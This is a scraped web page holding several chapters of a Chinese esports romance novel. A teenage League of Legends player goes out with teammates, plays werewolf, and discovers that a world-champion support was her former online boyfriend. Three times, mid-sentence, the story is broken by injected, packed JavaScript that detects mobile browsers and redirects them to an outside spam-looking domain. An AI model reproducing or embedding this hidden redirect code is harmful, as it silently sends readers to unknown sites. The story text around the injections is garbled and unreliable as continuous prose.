准确来说，是作为吉祥物呆在陌生环境的枯燥生活很无聊。 汤瑶没有训练赛打，只要每个月打够场次，保持住韩服分数，就有基础工资按时发放。简单，无聊，枯燥乏味。正是如此，她和Shark的关系在[绯村剑心]之后逐渐熟络起来。除了一起打灵排炸鱼，他也会分各种单子给她，不仅有双排的单子，还有指定软辅和DF的高价高分单，打发时间的同时还多了一笔收入，只要不去想没有希望的未来，日子过得还算滋润。 反观Shark，他本名叫左航，青训之前靠代练和陪玩，以及不间断的网恋就挣了不少。但他来打职业的理由很热血，完全不图名利，纯粹有个梦想。抛去糟糕的感情经历和可圈可点的性格脾气，在比赛和训练上他非常认真努力，以肉眼可见的速度不断进步，教练也对他赞不绝口，不止一次说只要保持成绩，只要有机会，一定会把他送去LPL。 说不羡慕是不可能的，汤瑶也有梦想，她甚至觉得自己的天赋比Shark更高。 但这里又不是幼儿园，发脾气打滚就能得偿所愿。就算自己很认真的对待了为数不多的训练赛，教练也没有因为她的良好表现而多为她加赛的意思，更别说正式打比赛了。 可是她不敢抱怨。 汤瑶再也不要回家了。她不止一次在和元宝的聊天中用开玩笑的语气说着真话：我就算死也要死在大城市。 她再也不要住破旧的出租屋里，在每个冬天都被那个预留给空调管道的洞吹得手脚都是冻疮；不要再体会没有锁的门总会在自己换衣服或者专注的时候被推开；不要再听妈妈的抱怨；也不要再被妈妈扇耳光扯着头发往墙上撞，两个人歇斯底里的打架，最后又崩溃得抱在一起痛哭。 自己不是品学兼优的天才游戏少女，更没有娱乐圈的大明星当表姐，根本不敢想象打破现平静生活的后果是什么。 汤瑶无法按捺自己对Shark的羡慕嫉妒，可是又克制不了性格里的软弱怯懦，做不到鼓起勇气尝试改变，这让她变得非常一度无比消沉。元宝很关心她的精神状态，可是作为网友能做得少之又少，除了安慰之外，只能建议她抽空出去逛逛。 汤瑶来S市半年多，还没有正经逛过。她年纪太小，平时又宅，在陌生的城市完全没办法发展社交的机会。除了团建，还有那次和Shark出去，她出过最远的门也就是小区外200米的一家便利店而已。基地在郊区，虽然周边配套齐全，繁华程度却远远够不上刻板印象里那样光怪陆离。 她查过攻略，发现就算打车去市中心也要将近两个小时。算上来回就得小半天，放在老家的那个县城，路程的事件就够她把步行街的每家店都逛上三遍。如此夸张的时间成本，让迷茫的她一再犹豫，战队假期来到第三天，她还是连卧室门都没出去过。 好巧不巧还赶上经期，情绪和身体的双重折磨让她状态坏到极点，躺在床上一边哭一边刷手机。 汤瑶正伤心着，Shark突然打过来的微信电话让她哽住。 擦了一把脸，整理好语气，才接了电话：“干嘛？” “你在基地吗？”Shark那边的背景音很乱，听起来是个很热闹的地方，“我买了个快递，顺丰说过一会儿就送过来，到时候要当面开箱，只要你看包装是新的就行了，帮我签收一下。” “……哦。”汤瑶揉揉有点疼的眼睛，“知道了。” 她刚要挂，又听到话筒里喊了声姜姜，只好又接回去，“还有什么事？” 他在那边支支吾吾半天，问道：“你要不要来找我玩啊？我在市区这边玩，你也过来呗。” “玩什么啊？” “我们现在要去打台球，你打车过来的话应该刚好吃饭。吃完饭可以去唱歌或者别的什么的，晚上我带你开电竞酒店，不用回去。怎么样？对了，你喜欢的选手晚上也会来。” “啊？我喜欢谁？” “Fopppish啊。” “谁喜欢他了啊！！” “啊？我记错了吗？？”Shark尴尬的咳了声，“哎呀，那真白呢，他俩应该会一起来。你不是很喜欢问选手要签名嘛。” “我又不喜欢下路选手。”汤瑶说，“Deserve能来吗？” “我又不是DQ老板！跟他可太……不熟了，没戏。” 她显得很失望：“哦，好吧。” “哎呀，能认识选手就不错了，你还挑。来嘛，来嘛来嘛，认识了之后经常玩，总会遇到你喜欢的选手。好不好嘛，姜姜~姜姜姜姜~” 汤瑶早在第一次被问的时候就想答应了，是矜持作祟才让她又多扯了几句有的没的。现在正好，当做很不耐烦的骂了他一句，很为难的说道：“好吧，不过你得先给我车费。” “OKOK！我给你发地址，你随时给我打电话，微信没看见就打我手机号~” 挂了微信语音，Shark很快就转了五百过来，并且表示多不退少找他补。另外附带了一个小小的要求：[感动][感动]记得化妆来，求你了。 这个不用他说。 对于汤瑶这种重度死宅来说，出门相当于放风，就算是不能浪费化妆品，她也要把压箱底的东西都拿出来用一用。所以回了个[OK]，就活力十足地跳下床，跑到卫生间里洗漱去了。 四十分后，焕然一新的汤瑶坐在开往市中心的出租车上拍了一段飞速后退的街景。她发给元宝，配了好几个感叹号，宣布了自己终于出门的喜事。顺便问她喜不喜欢Foppish，要是真遇到的话再帮她要个签名。 元宝惊讶的发了好几串感叹号，然后表示自己来者不拒，只要是选手的都要。毕竟哪怕不喜欢，留着发朋友圈装也好啊！ 呼吸着新鲜空气，就连心情都变得开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326018|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阔多了，汤瑶发现出门好像也没那么难，早就应该出来走走了，说不定能少哭不少次。她决定下次放假要一个人出来玩，去打卡那家收藏了很久的餐厅，再去看看那几家lolita的实体店，如果有什么活动也去凑凑热闹。 汤瑶很喜欢穿紧身衣服，丰腴的身材注定和宽松休闲无缘，除非想乘公交车的时候被当做孕妇让座。她爱漂亮，也喜欢打扮，光鲜亮丽的出现在公众场合是让她获取情绪价值的一种途径。这种爱好并不伤天害理，虽然麻烦，但她总是乐此不疲。 Shark提前来地下停车场接她，远远就看见打扮得像块橘子蛋糕的少女，虚荣心顿时被满足，挥挥手说这边。又一路跑到她面前，把柠檬茶递给了她：“顺便给你买的。” 汤瑶巴巴看着冰块哐当作响的柠檬茶，不好说什么，硬着头皮点头：“谢谢。”她勾着包装袋，四处张望，“现在去哪里，看你们打台球吗？” “没有，他们都先去KTV了，我是专门在这边接你。” “……啊，不是说先吃饭？”汤瑶两腿一软，“我本来起得就晚，到现在还没吃呢。” “啊你放心，那个KTV是新开的，可以一边唱K一边吃火锅。” “哦哦，那就好那就好。”汤瑶忍不住又感慨，“大城市就的牛，还能有这种组合的店。” “我们走吧，KTV在隔壁商场，很快的。” “唉，总是KTV。”汤瑶是个没什么定力的小孩，只拎着柠檬茶晃荡了几步，就没忍住拿起来喝。虽然已经是秋天了，但冰镇水果茶的酸甜风味依然好喝。她被冻了个哆嗦，依然很满足，“还挺好喝的。” “哎呀没办法，大城市夜店都要查身份证的，我俩未成年啊。其实很多选手平时挺喜欢凑局喝点的的，我是听说米法跟Deserve私下关系还可以，他俩应该都一起的。但是米法喜欢去夜店，咱没机会，你恐怕只能正儿八经买票去看偶像了。” “……也没有到偶像的地步。”不知道为什么，汤瑶有点抗拒被打上粉丝的标签。她更正道，“我只是喜欢帅哥。” Shark刚要问她怎么评价自己，被电话打断了。他接了跟对面说了几句，挂了之后表情变了：“一个好消息，一个坏消息，你想先听哪个？” “……坏的。” “他们没去KTV，换了个剧本杀的店说要玩狼人杀，你没有火锅吃了。” “我要饿死了！！！” “能吃能吃，店里也有吃的，实在不行我给你点外卖。” “那好的呢？” “Foppish和真白都在。” 汤瑶气鼓鼓翻了个大白眼：“这算什么好消息啊！！！”她可是个很拜高踩低的人，AWA这种新晋中流战队完全不在她的眼里。真白虽然是世界冠军，可他毕竟是个辅助，她完全不感兴趣好吗，“下次没有饭吃的局不许叫我！！” 13. 第 13 章 狼人杀是款很有意思的游戏，虽然宣传语是主打逻辑和推理，经过这些年的发展有了专属的圈子和各种比赛。但在汤瑶看来，这就是比谁会撒谎的游戏。狼人也好平民也好，总归就是要靠花言巧语，在有限的时间和陌生人建立相当的信任，把决定生死的权利交给你。 她很喜欢撒谎，也很擅长撒谎。 因为没有足够的家教，她的道德和素质极其低下，稍微说违心话就脸红心跳的事完全不存在。她成绩不好，小聪明不少，凭着清甜脱俗的嗓音和一点基于逻辑上的诡辩，让她在网杀里无往不利。算起来，她接触狼人杀的时间可比LOL要久，遥想当年，也是软件里鼎鼎有名的小高玩。 不过这还是汤瑶第一次玩面杀。经过了第一把女巫盲毒预言家，猎人开枪带平民，第二天就屠城的惨烈战况之后，她非常深刻得感受到了面杀和网杀的区别。如果说网杀玩到最后考虑的是作弊和村规，面杀最需要在乎的自己的血压和收好所有房间里的管制刀具。 她第二把摸预言家，状态起得非常高。结果一番慷慨陈词之后，她的金水三分钟发言里分析了五分钟自己为什么是铁狼，第一轮就被大票数送走，翻牌之后发现唯一一个支持自己的是倒钩狼。 哈。哈。哈。 好在第三把她摸到了自己的本命职业：女巫。凭着对一桌子麻瓜的了解，翻牌的时候就抿得大差不差，精准识破了狼人想要自刀做身份的阴谋，闷药加泼毒，第一夜就凭一己之力做掉了两只狼。由于大家的水平都不太高，剩下两只非常挂相，几乎发言就爆，于是投票又顺利送走一个。最后一个自觉无望，选择翻牌投降。 不到半个小时，就又结束了。 大家叽叽喳喳复盘，好几个人围着洋娃娃一样的少女追问是怎么抿的身份，你一言我一句，吵得沸反盈天。真白摸着手里的预言家，神色复杂，过了好一会儿，才犹犹豫豫和身边的Foppish说：“我听这个女生讲话好耳熟啊，刚刚他们说她是谁来着？小航女朋友？” Foppish拿着一个从旁边柜子里搜刮来的多面骰，毫无意义地往桌子上丢了再捡回来：“不知道啊，好像是他们队的队员。今年好多战队都想选女选手，我们队不也面试了吗，就是没成。能选上肯定分不低，应该以前遇到过吧。” “不是。”真白不断揉着手牌，嘶嘶抽气，“不是那种熟悉，她……嘶、嘶……她……” “你出门被眼镜蛇咬了？” “她声音好像我前女友。就也是这种很好听很好听，很特别。” “放屁！林琳的声音很像我小学的表弟，一开口梵克雅宝戴她手上都跟拼多多买的一样。” “啧，谁说她了。我又不是只谈过一个。别的别的，好久之前的事情了。” “网恋？你还网恋？” “网恋怎么了！谁不网恋？光打不游戏不网恋的男的不是上面的头有问题就是下面的头有问题！” Foppish一巴掌扇过去：“爹要是有问题哪来的你。” 真白没跟他计较，只是鬼鬼祟祟的偷看：“真的好像，好像好像啊。我都想去问了……欸欸，你干什么！”他把起身的男生拽回来，“你别真去啊。” “为什么啊？问一下怎么了，不是很久之前的事情了吗？再说了，应该没有那么巧的事情吧。” “如果她不是队员，不会玩狼人杀，我也不敢这么想。” “到底什么意思？” “唉，就是……就是……”真白陷在回忆里的脸又青又白，最后叹了口气，“算了，应该只是记错了。”他感慨，但是没有放下戒心。所以在Foppish起身的一瞬间把他牢牢拽住，“李，君，诚，你别去丢人。” “张，新，宇，哥们这是为你豁出去了。”Foppish信誓旦旦，“我是真受够林琳了，一身大小姐脾气，烦死，她每次来基地我都头晕恶心想吐。这个好，这个多好啊，这个女孩又漂亮又聪明，还跟你能有共同语言，我真心希望你们再续前缘！” “神经，我只是说声音有点像，又不一定就是。” “管她是不是呢。有故事就重新开始，没故事可以再发展嘛。” “……我现在不想谈恋爱。” “那你，额……”Foppish原本还想说些什么，余光瞥见那个女孩子拿着包走过来了，连忙住了嘴，还并了并腿，像个在自习课摸鱼时看到了窗子外的班主任一样，老实得像只鹌鹑，“咳，咳咳，不玩了，吃东西去吧。” “啊，那个。”汤瑶停在他身边，“我朋友是你粉丝，能不能……麻烦你给她签个名。” Foppish是个粗线条，本来玩了这么长时间都没感觉。刚刚听真白一说，现在再听对方说话，就发现声音确实好听。声线自然，又脆又甜，像是一口咬下去酸酸甜甜的苹果，非常有记忆点。 他轻轻唔了声答应，一抬头就看见她本来就敞开U领因为俯身所以在不经意间露出来的大片肌肤，散发着莹润光泽的白，还有臌胀饱满的曲线，巨大的视觉冲击不亚于脑子里被连炸了两个C4，硝烟弥漫又一片空白。 根本不敢多看，接过笔，在递过来的手幅上签了两张。 “啊，谢谢谢谢。”汤瑶连连道谢，并没有注意到对方像只熟透的虾，虚情假意的用热忱的语气说，“比赛要加油哦~” Foppish点头如捣蒜：“嗯嗯，谢谢嫂子。”话音刚落，立刻收到了真白的一记肘击。他痛得哇哇大叫，“你有病啊？” 真白对一头雾水的汤瑶露出标准八颗牙齿笑容，指着Foppish说：“他没，你别当回事。” Foppish这才意识到刚刚嘴瓢说错了，更尴尬了。但这不能怪他，要怪真白太喜欢带女朋友来基地，他已经说习惯了。他挠挠头，咳了几声当做无事发生：“啊那个，我是说……额，对了，你也是选手吧？加个微信？” 汤瑶对口误没什么感想，男人的脑回路多清奇都不奇怪，但突然被要微信还是惊住了，毕竟她对他没感觉，元宝也不是真粉丝，骗两张签名得了，还加联系方式，之后会不会很尴尬？可是人家二维码都掏出来了，总不能直接拒绝吧…… 她没办法，挤出一个惊喜的表情：“真~的~可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326019|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~以~吗~？”然后慢吞吞拿出手机加了，继续棒读，“哎呀真好，我朋友超喜欢你，老是说你呢。圆梦了，圆梦了！谢谢，那我先走咯。” 真白看着她走远，饶有兴致的笑了一下：“挺有意思。” “怎么了？”Foppish甩甩头，想要把刚才的那一幕从脑子里甩出去，“啧，过气世界冠军不如狗，她都没看你一眼。” “她也没看你啊。而且我怀疑她说朋友喜欢你也是假的。”真白不知道怎么跟这个死直男解释，“反正就是，你多谈几次恋爱就知道了。女孩子心情都是很挂脸的，她一直嘴上说喜欢什么的，其实很淡定，就……有点太假了。不过，你别说，她做作的样子也挺可爱的。” Foppish立刻会意，把刚加来的微信推给了他，又问：“那她要签名干嘛？而且她也不是非要加，不想加就说呗，干嘛搞这些？” “你都说了，她还能拒绝呢？李少你只手遮天，哪儿能得罪你。” Foppish听不懂，反而洋洋得意的哼哼：“……嫉妒使人扭曲。”说着又大大方方揽住他的肩膀，“哎哟你放心，你的品味哥们一直理解不了，你喜欢的女人我都不喜欢。都是兄弟，别担心，哥们肯定会帮你俩再续前缘的。” 真白撇开他，再三警告：“你别乱说话。”想了想，“不然我要找20篇你的那种同人文给你，还在天天在基地外放。” 太狠毒了吧这男的！ Foppish字正腔圆的点头：“……行。” 汤瑶并不知道AWA的双人组在叽里咕噜的说些什么，但是她能感觉到时不时扫过来的充满探究的眼风，于是拿出镜子观察妆容状态，又补了一些唇蜜，心里有些小骄傲：哼，被姐迷死了吧！ 她隔着桌子看过去，那两个人确实是满桌子唯二顺眼的存在。真白23岁算是高龄选手了，他的脸也和出道时截然不同，微调过的双眼皮有这很精秒的弧度，脸上干净平整，闪着人民币光泽的医美光彩。穿得很潮，衣服上印着很大的不认识LOGO，水洗的做旧牛仔裤，还很做作的在脖子上扣着一个蓝牙耳机。 Foppish把头发留长之后，五官线条都被修饰得柔和了不少，但他的眉眼硬朗，就算坐姿不太讲究，还是显得整个人干巴又挺拔，连喉结都特别明显。白色基础款背心，牛仔色的短袖衬衫，人往椅子后仰的时候露出紧身黑色的裤子还有腰间的棕色皮带。 也不是不好看，就是……总感觉掀起衣角后就能看见鼓着青筋的小腹上有大片晕染的劣质纹身。他活脱脱就是从兜里拿出一包带着纸屑和烟草渣的槟榔蹲在路边开始嚼的精神小伙。 话又说回来，精神和帅不冲突，只是她觉得他帅得不够高级。汤瑶仔细想了一下，如果在县城里遇到这种黄毛对自己吹口哨，自己应该会开开心心坐在他的小电驴和他去黑网吧玩一通宵吧。 “……喂，你傻笑什么呢？” Shark的声音把汤瑶从思绪拉回现实。她看见怒气冲冲的男生伸着脖子看了一眼自己的手机，发现是新鲜的好友名片，咬牙切齿，“你还说你不是他粉丝！！” 14. 第 14 章 男人的心态就是这么别扭。Shark叫汤瑶来，初衷是希望漂亮的她能成为自己的面子。可当她真的吸引到太多瞩目，心中又开始患得患失。他知道他们只是队友，可是双人组能和普通队友一样吗？他的辅助，四舍五入，人也多多少少算是自己的！ 可惜汤瑶没有这种归属感，她仰着脸，用惯有的傲娇表情道：“那咋了？”她收起手机，“人家给我签了手幅，我总不能翻脸不认人吧？” “……说得好像被迫一样，你其实开心死了吧。”Shark酸溜溜的。 她看出他在阴阳怪气，但并不惯着：“啊对对对。夏季赛第一周的最佳AD加我，我怎么不开心？你不知道辅助都有AD集邮癖？我的志向是加遍所有职业AD的联系方式。” Shark气到舌头把一边腮帮子顶得老高，最后捏紧了拳头，愤愤说：“行，你等着。” 汤瑶翻白眼：“等什么等，你敢碰我一下我立刻躺地上讹你钱。” Shark很不屑：“你把我想得也太低级了。再说了，周最佳有什么了不起，谁上谁都行，切……你列表里还有个LPL一阵AD呢。” “哪有一阵的？”在今天之前，她加了MIFA和LADY SHIVA，但是今年QY的战绩特别烂还风波不断，夏季赛刚开始不久，他们就第一周就打了一场，和中游战队打得难舍难分。别说几阵几针了，以他们糟糕的春季赛表现，今年世界赛都悬。脑子转了一圈，直到发现对方格外灼热的眼神，终于反应过来了，“……你不会是说自己吧？” “那咋了！”Shark特别喜欢学她说话，他一本正经的叫她名字，“汤瑶，我不会让你等太久的。要不了多久，你就会知道列表里的AD，只留我一个就够了。” 汤瑶被肉麻得起了一身鸡皮疙瘩：“神经病。” 如果她只是个粉丝或者普通玩家，听起来或许有不同的感受。问题是，她自己也是选手。看着他成为一阵AD，哪怕顶尖AD又怎样呢？成绩既不会通过感情或者性传播，自己也不是那种能把别人的荣耀当做安慰自己的‘小玩具’达到精神高（）潮的人。 明明是自己有个远大的目标，难道堂而皇之说出来就变成对别人的承诺和恩赐了吗？ 简直莫名其妙。 谁会被这种自恋至极的自我感动打动啊！ 汤瑶完全接不上他的脑电波，自顾自整理好包，扭头问刚刚认识的人过会儿去吃什么。 最后大家还是去了有火锅的KTV，点了一桌子肉和两箱啤酒。她不唱也不喝，全身心投入到进食，嘴巴吃着，耳朵听着——不是歌，而是八卦。这次的局基本都是圈内人士，要么是退役的前选手，要么是人气不高但关系网很广的糊主播，再不济也是俱乐部或者联赛的工作人员。几杯小麦果汁下去，话题就聊开了，谈没什么太劲爆的，但每件听起来都很下饭。 比如谁谁分手了，那个女朋友进入‘转会期’，现在又和另一个谁谁打得火热。 比如选手拍商单的时候谁和谁在片场打闹弄坏道具，最后折腾半天也没补好，给后期加钱才把纰漏补上了。 再比如基地里宫斗，谁谁和谁谁不对付，不想呆了，刚打就在私联别的队伍，等着转会期就走。 “听就行了，不要往外说。” 汤瑶正扒着碗里的虾滑，冷不丁有个人坐过来，说话把她吓了一跳。 她一看，居然是真白。 真白的游戏ID是Zbai，出处就是某知名日漫里的女主角。他也是古早选手了，当年路人王的时候ID就是‘椎名真白’，后来成为职业也就这么沿用了。对他，她没什么了解。只知道是LPL的第二冠的辅助，和冠军AD的CP更是圈内大烫门，以及无意刷到的一些历史遗留的非原则性黑料。 在竞圈里，辅助的粉丝百分之九十都是同人入坑，因为在某个平台不经意刷到的厨子写出来的惊天动地的双人组爱情而激情入坑，在了解游戏和圈子之后逐渐被提纯，从CP粉或者队粉转成唯粉。 辅助粉也许数量不是最多，但绝对是黏性最高且战斗力非常强的一拨。不论主子做过什么惊天动地的蠢事疯事，最后都会上赶着刷礼物写小作文疼爱他，平时最喜欢的事情就是磕一口杂粮饭，再说一些外人难以理解的发言，最喜欢把这些奇形怪状的吃尽了的红利男人们脑补成做无助的弱势女性，爱着他们的同时恨着全世界，还会为此攻击真正的生理同性来维护这些□□有一根东西的好大“女”儿。 汤瑶总觉得粉随正主，对真白本能得避而远之。 “我没往外说啊。”她太饿了一直在炫饭，确实还没来得及和元宝分享。 “别的都没什么，转会的那个事不要说。”真白耐心的解释，“这个是违规的，到时候选手要被处罚，还会牵连很多工作人员。罚倒是罚不到你，但，多一事不如少一事，对吧？” “……谢谢。”对于陌生人，礼貌一点总不会出错。 但是真白没有走，而是用奇怪的眼神盯着她。虽然视线仅仅在脸上打转，但多多少少还是会让人感到被冒犯。就在汤瑶皱起眉，马上就要用语言攻击的时候，他慢慢的说：“带刀女巫？” “什么带……”今天没几个人会玩狼人杀，开的是最普通的板子啊。 等一下。 电光火石间，汤瑶想了起来，这个‘带刀女巫’说的不是狼人杀里的特殊身份，而是自己注册时的第一个ID。那已经是很久之前的事情了，久到只有一个人会知道…… 汤瑶瞪大了眼睛，脸色红了又绿。她简直不敢相信，还没说话，就瘫在了椅子上，“不是吧大哥……你，你是那个谁啊。” 真白一挑眉：“哪个谁？” 汤瑶头有点疼，还有晕。信息量太大她一时处理不过来。看着带着一脸促狭笑的世冠哥，她挣扎着躲了躲，然后一本正经道：“你别乱说话。”边说边皱眉，丝毫没有真白预料中的掉马后相认的震惊羞怯，反而给人一种和世界冠军网恋过是什么奇耻大辱的感觉，“千万不要。” …… 本来真白主动说破就是想给她打个预防针，因为他实在害怕Foppish惹出什么乱子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326020|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可看到对方主动不想有联系，莫名其妙的自尊心倍感受挫。扪心自问，他有钱有名，有实力有口碑，恋爱的时候也没做过什么对不起她的事，怎么就摆出这么一副好像黑历史的表情呢？！ 真白眯着眼：“喂，你这是什么意思？我很丢你的脸吗？” “死渣男。”本来对辅助选手印象就差，居然还能牵扯上旧恨，她两手往胸前一抱，“你爽文看多了吧，披个马甲以为自己微服私访，幻想着掉马之后旧情人能对你三跪九叩，大呼吾皇万岁万岁万万岁吗？世界冠军很了不起吗？不好意思，在我眼里你就是个莫名其妙玩消失，害得我因为失恋哭了两个月的烂人。你现在居然活得这么好，简直是老天没眼！” 哇，好熟悉的感觉。当时就是喜欢她牙尖嘴利来着。 “不是……”真白不气反笑，他刚刚已经查过她的选手ID和基本资料了，所以清了清嗓子说，“当时你跟我说你是21岁的女大学生好吗？结果微信小程序里的小游戏都实名不了，你还说你的微信是绑了表妹的信息所以才未成年。你自己想过这话有人信吗？” 他端起摆在她面前的倒着果粒橙的杯子，递给了她，“请问，前女友小姐，你现在成年了吗？” 果然人只会记住对自己有利的事情。 这么蠢的借口是自己编出来的吗……汤瑶挠挠头，回想了一下当时，发现他们短暂的恋情似乎就是因为没能在小游戏里打上斗地主火速滑坡直到断崖的。只是当时她复盘，把这归咎成渣男的无脑取闹。 “呃，那个时候我也没有很小啊。”汤瑶的钛合金嘴还在发力，“再说了，网恋又不是现实，互相养个电子宠物而已，年纪根本不重要！而且不是你猜我是大学生的吗，我就呃那个什么……呃，将计就计，随便说说了……反正你也没认真，那我撒点小谎怎么了……扯平了呗！” “行行，你有道理~”真白知道她的性格，并不打算和她据理力争，而是解释起来，“主要是当时我休息，结果天天被粉丝查户口。我知道你年纪之后就担心万一查到了你，我直接就犯法的罪犯了……唉，你又不是不知道，这个圈子本来就是听风就是雨，我当时还很多合约和直播，没办法呀。” 汤瑶不说话了。 她还没有消化“在狼人杀上认识的初恋男友是别的游戏世界冠军且在两年后自己和他成为了准同事”这件事。她捧着杯子，心不在焉的喝了两口，看着面前咕嘟冒泡的火锅，越想越不敢置信—— 这不是小说里才有的情节吗？难道我也是女主角？ “你别担心，我没有别的意思，就是感觉很巧。我绝对绝对没有破那什么重什么的意思，如果Foppish跟你说了有的没的，不要当真，或者你跟我告状也行。” 哦，难怪刚刚被叫嫂子来着，原来那时就被认出来了。 现在过来主动坦白，也是担心猪队友弄出什么不好收场的烂摊子吧。 汤瑶的气焰消失了，她瘪瘪嘴，“哦”了一声：“没事。” 真白点点头，起身离开。临走前说道：“晚点我加你，跟你说件事。” 15. 第 15 章 死去的回忆开始疯狂攻击汤瑶。 想起来了，全都想起来了—— 最最开始的时候，她没有电脑，廉价的手机性能落后，完全运转不起市面上的流行手游，除了逛逛社交平台，她能玩的太少了，后来误打误撞接触了狼人杀。青春期的孩子嘛，有很旺盛的表演欲和交流欲，加上天生甜美的嗓音总是会收到各种夸赞，更是她虚荣心爆棚。 所以，随着时间推移，长进的不仅仅是狼人杀的话术和推理，还有想象力。 在互联网，她是个风华正茂的名牌女大，不仅成绩优异还家境优渥，对于学习更是手拿把掐，就算动不动翘课也不用担心挂科。而且身材高挑，曾经染过银发，因为不想倍受关注所以换成了低调的栗子色，但是后来又烫了一个大波浪。还曾经在高中时代和校草有一段缠绵悱恻，狗血淋头的动人爱情，可惜早已分道扬镳，她深深受伤，从此封心锁爱。 真白是什么时候出现的，她已经记不太清了，她那时可是交际花。真白的狼人杀水平就那么回事，真正对他有记忆，某次她在群里兴致勃勃分享跟同学一起的英雄联盟战绩，结果一石激起千层浪，群里的小伙伴纷纷发起自己的段位，热情地邀请她一起玩。一向不怎么说话的真白突然就甩出了一张刚刚结算但是打了码的韩服王者截图，艾特自己问有没有资格。 她那时对段位的概念很模糊，但很快就从满屏的问号里感觉出了含金量。所以故事就这么开始了，他们加了好友，就算得知她的账号在郊区，账号也仅仅解锁闪现而已，他也什么都没说，费劲巴拉借了个号专门陪她，接下来的一下午，她逐渐在接连不断的胜利中体会到了LOL的乐趣。 跟自己那两个把把被人追着嗷嗷叫的同学完全不同，他每把都能很轻松的碾压对面，一边教她认英雄和装备，一边轻轻松松的反杀围攻来的好几个人。汤瑶都被迷死了，硬生生顶着黑网吧的二手烟玩到了天黑，最后实在不能不回家了，才依依不舍下机。 从那之后就开始每天缠着他打游戏。从分不清英雄，吃药全靠鼠标点，到匹配敢撞胜率车，用他的高分号单排也打得游刃有余，赢多输少，仅仅两个月不到。那时她还没意识到自己的天赋，因为比游戏水平进展更快的是两人的关系，好不意外的，她在互联网开始了自己的初恋。 人就是会骗到最后连自己都信了，恋爱期间的汤瑶完全没意识到这一切都基于谎言。真白的网名就是白，她喜欢粘着他叫白哥，白天黑夜想起来就打个电话过去听他说两句甜言蜜语，当然更多的时候还在召唤师峡谷约会，他变着花样选不同位置，让她每把都当最幸福的小辅助。 后来汤瑶的生日快到了，她原本很讨厌这个日子，可是因为恋人的到来，重又让她燃起了期待。她幼稚又莽撞，问他会给自己准备什么，心里提前纠结到底是狼人杀的礼物好还是LOL的皮肤好。结果真白说他想给她添个方便打游戏的游戏本，不然天天去网吧太麻烦了，然后发来了一个价格高达五位数的链接，问她喜欢什么颜色。 汤瑶差点被吓死，她活了十几年从来没见过这么大的数额，尤其还是花在自己的身上。她掂量一下悲凉得发现在医保和义务制教育的加成下，她从出生到长大的全部花费加起来也许还不够这个笔记本值钱。这是她第一次模模糊糊的意识到，如果不是网络，她和她的男友其实完全不在同一个世界。 她没有要，编了个理由推脱了。想了好几天，她问他要了最开始他自我介绍时的那个韩服账号。 这是个有价无市，但又意义非凡的东西。 汤瑶还记得自己是怎么在屏幕前流着泪打字说感觉好幸福，只是因为撒了太多的谎，所以连感情的表达都不能纯粹。她不能告诉他他对自己多么意义非常，只是幼稚的发着表情包，认真的说想和他一直一直在一起。 …… 手机的震动让汤瑶从回忆中抽离，看了一眼屏幕，发现新增一条好友申请。 她抬起头巡视昏暗的KTV包厢，很快就找到了坐在天边的真白。他胳膊撑着沙发，一只手拿着手机，一只手放在膝盖上敲。幽幽的屏幕光将他的脸照亮，这是ZBai的脸，不是记忆里幻想的那个白哥。 【白】：我通过了你的朋友验证请求，现在我们可以开始聊天了 【白】：偷看我？ 【姜汁汽水】：…… 【姜汁汽水】：[擦汗][擦汗][擦汗]不是你要这个时候加我引起我的注意吗？ 【白】：6 【姜汁汽水】：到底什么事？ 【白】：晚点，散了之后等你一个人再给我打电话。 【姜汁汽水】：？ 【姜汁汽水】：我今天不回基地 【白】：？？？ 【姜汁汽水】：回去好久要做两个小时车 【姜汁汽水】：我们应该会找个电竞酒店住 【白】：们？ 【白】：你跟你们队AD谈了？ 【姜汁汽水】：没有啊！为什么你们都这么想！ 【白】：…… 【白】：你可以不回，但是你也别跟他去 汤瑶皱了皱眉，又有点不爽了，正打字解释说住同一个酒店又不是同一间房，他思想未免太肮脏了。那边很快又发了一条新消息：李君诚开车来的，我们可以送你回去。 【姜汁汽水】：NO 【白】：[微笑][微笑]行，那我现在就告诉所有人我俩谈过，然后 【姜汁汽水】：。。。 【姜汁汽水】：知道了，回去前喊你 好狠毒的男人啊啊啊啊！ 汤瑶气得胸口疼。她自己都想不通，照理说发现曾经的男友是游戏界的世界冠军这种展开应该是言情小说设定，可完全不惊喜也没觉得开心。恰恰相反，从知道到现在，一直被说不出的失落感笼罩着。 明明是一样的人，性格和脾气也没有变化，可就是不一样了。以前很喜欢他照顾自己来着，如果哪天没有事无巨细的问自己，那 